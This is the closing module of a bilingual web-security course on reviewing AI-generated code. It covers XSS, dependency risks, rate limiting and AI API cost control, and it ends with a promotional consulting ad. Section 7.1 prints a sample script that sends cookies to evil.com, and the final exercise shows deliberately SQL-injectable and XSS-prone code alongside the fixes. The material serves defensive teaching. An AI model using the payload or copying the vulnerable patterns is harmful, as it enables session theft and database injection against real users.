这是整门课最后一个模块。前面几个模块陆续提过好几个资安概念,这里补上还没讲到的几块,再加上一块完全没提过的:成本。

This is the last module of the course. Earlier modules touched on several security ideas; here we fill in a few not yet covered, plus one never mentioned at all: cost.

7.1 XSS:使用者输入怎么变成攻击7.1 XSS: how user input becomes an attack

Module 2.C 讲过 textContent 可以把文字塞进画面。如果改用 innerHTML,情况会不一样:innerHTML 塞进去的内容,浏览器会把它当成 HTML 解析、执行,不是单纯当文字显示。

一个留言板功能,AI 给你这样的代码:

Module 2.C covered how textContent puts text on the screen. If you switch to innerHTML, it is different: the content you put in with innerHTML is parsed and run by the browser as HTML, not just shown as text.

For a comment board feature, AI gives you this:

commentBox.innerHTML = comment;

如果 comment 的内容是一段使用者刻意打的文字:

If the content of comment is a string the user deliberately typed:

<script>fetch('https://evil.com?cookie=' + document.cookie)</script>

这段脚本会在每一个看到这则留言的使用者浏览器里执行,把他们的 cookie 偷偷送到攻击者的网站。这种攻击手法叫 XSS(跨站脚本攻击,Cross-Site Scripting),核心问题就是把使用者输入直接当成可执行的内容处理。

正确做法:如果只是要显示文字,用 textContent

This script runs in the browser of everyone who sees the comment, quietly sending their cookies to the attacker's site. This attack is called XSS (Cross-Site Scripting), and the core problem is treating user input directly as executable content.

The right way: if you only need to show text, use textContent:

commentBox.textContent = comment;

textContent 会把内容逐字显示出来,就算里面写了 <script>,也只会被当成一串文字显示在画面上,不会被当成代码执行。审查 AI 生成的前端代码,看到 innerHTML 处理使用者输入,要先确认有没有必要,多数情况下 textContent 更安全。

textContent shows the content character by character, so even if it contains <script>, it only appears as a string on screen and is not run as code. When you review AI-generated frontend code and see innerHTML handling user input, first check whether it is necessary; in most cases textContent is safer.

7.2 依赖套件的风险7.2 The risk of dependency packages

npm install 装的第三方套件,代码不是你自己写的,也不是 AI 帮你写的,是别人维护的。这些套件可能藏着已知的安全漏洞,极端情况下甚至可能被植入恶意代码。

不用每个套件都自己去审查源码,但装之前留意几件事:下载量高不高、多久更新一次、有没有其他人在维护。多数套件管理工具也有内建的漏洞扫描指令(比如 npm audit),可以先跑一次看有没有已知的高风险漏洞。

The third-party packages you install with npm install are not written by you, nor by AI, but maintained by other people. These packages can hide known security holes, and in extreme cases even have malicious code planted in them.

You do not need to review the source of every package, but before installing, note a few things: whether the download count is high, how often it is updated, and whether others maintain it. Most package managers also have a built-in vulnerability scan (like npm audit) you can run once to check for known high-risk holes.

7.3 速率限制:避免被滥用7.3 Rate limiting: avoiding abuse

一个完全没有限制的 API,理论上任何人都能在短时间内呼叫无数次。轻则拖垮服务器,重则如果这支 API 背后接了按用量计费的服务,账单可能失控。

速率限制(rate limiting)就是替每个使用者设一个"一段时间内最多能呼叫几次"的上限:

An API with no limits can, in theory, be called countless times in a short window by anyone. At best it drags the server down; at worst, if the API sits in front of a pay-per-use service, the bill can spiral out of control.

Rate limiting sets each user a cap on "how many times they can call within a window":

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 60 * 1000,
  max: 20,
});

app.post('/api/orders', requireAuth, limiter, async function(req, res) {
  // ...
});

windowMs 是时间窗口,max 是这段时间内最多允许的次数。超过上限的请求会被直接挡掉,回一个"请求太频繁"的错误,而不是让请求继续往下跑。

windowMs is the time window, max is the most calls allowed within it. Requests over the cap are blocked and get a "too many requests" error, instead of continuing through.

7.4 AI API 成本:vibe coding 时代特有的风险7.4 AI API cost: a risk unique to the vibe coding era

这一节是这门课特别想提醒的地方,因为这是这门课讨论的这整套开发方式,特有的一种成本风险。

越来越多 App 会呼叫 AI 模型的 API 来生成文字、图片、或做其他运算,这类服务通常按实际用量(token 数量)计费,而不是固定费率。一支完全没有保护的 AI 功能端点,几小时内可能烧掉远超预期的费用。

真实发生过的案例:一款叫 VINspectorAI 的产品,开发者原本设定免费使用者每人最多查 10 次车辆资讯,以为这样成本可控。但他没注意到,每一次查询背后其实会触发 3 到 4 次串接的 API 呼叫,实际上限根本不是 10 次,是 30 到 40 次。当免费使用者对同一笔资料反复查询,光是这一个功能,一周内就多花了 18.25 美元。这还只是一个"设了限制"的功能,如果是完全开放、没设防护的生成端点,风险更高。

AI 给你的功能代码,很容易长这样:

This section is one the course especially wants to flag, because it is a cost risk unique to the whole way of developing that this course discusses.

More and more apps call an AI model's API to generate text, images, or do other work, and these services usually charge by actual usage (token count) rather than a flat rate. An AI feature endpoint with no protection can burn far more than expected within hours.

A real case: a product called VINspectorAI set free users a cap of 10 vehicle lookups each, thinking that kept cost in control. But the developer did not notice that each lookup actually triggered 3 to 4 chained API calls, so the real cap was not 10 but 30 to 40. When free users looked up the same data repeatedly, this one feature alone cost an extra US$18.25 in a week. And that was a feature that had a limit; a fully open generation endpoint with no protection carries even more risk.

The feature code AI gives you easily looks like this:

app.post('/api/generate-description', async function(req, res) {
  const prompt = req.body.prompt;
  const result = await callAIModel(prompt);
  res.json({ description: result });
});

三个问题叠在一起:没有 requireAuth,任何人不用是你的使用者就能呼叫;没有速率限制,同一个人可以在极短时间内呼叫很多次;也没有限制 prompt 的长度,使用者可以传一段超长文字,让单次呼叫的成本大幅提高。

改好之后:

Three problems stack up: no requireAuth, so anyone can call it without being your user; no rate limit, so one person can call it many times in a very short window; and no limit on the prompt length, so a user can send a very long piece of text that greatly raises the cost of a single call.

Fixed:

const aiLimiter = rateLimit({
  windowMs: 60 * 1000,
  max: 5,
});

app.post('/api/generate-description', requireAuth, aiLimiter, async function(req, res) {
  const prompt = req.body.prompt;
  if (prompt.length > 500) {
    return res.status(400).json({ message: '内容太长了' });
  }
  const result = await callAIModel(prompt);
  res.json({ description: result });
});

认证、限流、输入长度限制,三个一起用,才真正把这类端点的成本风险收敛到可控范围。

Authentication, rate limiting, and an input length limit, used together, are what really bring the cost risk of such an endpoint down to a controllable range.

7.5 成本监控:最后一道防线7.5 Cost monitoring: the last line of defense

前面几节讲的都是事前预防,但没有百分之百不会出错的系统。多数云端平台和 AI 服务商都能设定用量或预算警报,一旦某段时间的花费超过设定的门槛,就发通知给你。这不能取代前面的防护,但可以在真的出问题时,让你在几小时内发现,而不是等到月底账单来了才知道。

The earlier sections are all about prevention, but no system is 100% error-proof. Most cloud platforms and AI providers let you set usage or budget alerts, so once spending over a period crosses a threshold, you get a notification. This does not replace the earlier protections, but when something really goes wrong it lets you find out within hours, instead of only when the bill arrives at month end.

期末综合审查Final combined review

AI 给了你一个产品评论功能:

AI gave you a product review feature:

app.post('/api/reviews', function(req, res) {
  const { productId, rating, comment } = req.body;
  const query = "INSERT INTO reviews (product_id, rating, comment) VALUES (" +
    productId + ", " + rating + ", '" + comment + "')";
  db.execute(query);
  res.json({ message: '评论已送出' });
});

前端显示评论的部分:

The frontend part that shows a review:

reviewBox.innerHTML = review.comment;

这两段代码合起来,藏了四个问题,横跨这门课好几个模块讲过的内容。给自己 5 分钟,全部找出来,再往下看答案。

Together, these two pieces hide four problems, spanning several modules of the course. Give yourself 5 minutes to find them all, then read the answer.

看答案

答案

  1. 没有 requireAuth:任何人不用登入就能留评论,容易被滥用来大量灌水或发送垃圾内容(对应 3.D)。
  2. 没有速率限制:就算限制了要登入,同一个帐号还是可以在短时间内狂发评论(对应 7.3)。
  3. 字串拼接组 SQL"... VALUES (" + productId + ", " + rating + ", '" + comment + "')",有 SQL 注入风险(对应 3.C)。
  4. innerHTML 显示使用者输入reviewBox.innerHTML = review.comment,有 XSS 风险,攻击者可以在评论里藏恶意脚本(对应 7.1)。

四个问题分别来自不同模块,但审查的态度是同一个:任何来自外部、你不能控制的输入,进到系统里之前,都要先假设它可能是恶意的,一步都不能跳过。

Answer:

  1. No requireAuth: anyone can leave a review without logging in, which is easily abused to flood it or post spam (3.D).
  2. No rate limit: even with login required, one account can still spam reviews in a short window (7.3).
  3. String-joined SQL: "... VALUES (" + productId + ", " + rating + ", '" + comment + "')" has a SQL injection risk (3.C).
  4. innerHTML showing user input: reviewBox.innerHTML = review.comment has an XSS risk, an attacker can hide a malicious script in a review (7.1).

The four problems come from different modules, but the reviewing attitude is one: any input from outside that you cannot control, before it enters the system, must be assumed to be possibly malicious, and no step can be skipped.

整门课回顾Course recap

Module 1 开场提过一句话:这年代,看得懂代码比会写代码更重要,因为 AI 打字的速度已经不是瓶颈,你的判断力才是。

七个模块走到这里,具体拆开来看,这份判断力由这些东西组成:结构对不对(HTML 语义化)、算得对不对(CSS 盒模型、JS 型态转换)、串得对不对(class/id/data 属性跨档案对齐)、设计得对不对(REST、状态码)、存得安不安全(参数化查询、密码哈希)、扛不扛得住真实使用量(N+1 查询、错误处理)、防不防得住恶意使用者(XSS、速率限制、成本控制)。

这些不是要你背下来的知识点,是审查任何一段 AI 生成的代码时,你现在会下意识去检查的地方。这门课到这里正式结束。

Module 1 opened with a line: in this era, being able to read code matters more than being able to write it, because AI's typing speed is no longer the bottleneck, your judgment is.

Across seven modules, broken down, that judgment is made of these: is the structure right (semantic HTML), is it computed right (the CSS box model, JS type conversion), is it wired right (class/id/data attributes aligned across files), is it designed right (REST, status codes), is it stored safely (parameterized queries, password hashing), does it hold up under real usage (N+1 queries, error handling), and does it hold off malicious users (XSS, rate limiting, cost control).

These are not facts to memorize. They are the places you now check by instinct when you review any AI-generated code. This is where the course formally ends.

延伸资源

SCALEBAR

读完了。接下来,把它用在你的生意上?You Made It. Now, Put It To Work In Your Business?

这门课教你看懂 AI 写的代码。而 Scalebar 就是专门帮马来西亚的中小企业把 AI 真正落地的:市场数据分析、AI Agent 部署、团队培训。想找人帮你做起来,约个时间聊聊。This course taught you to read AI's code. Scalebar is what helps Malaysian SMEs put that AI to work for real: market and data analysis, AI agent deployment, and team training. If you would like a hand building it, book a time to talk.

预约免费咨询Book a Free Consult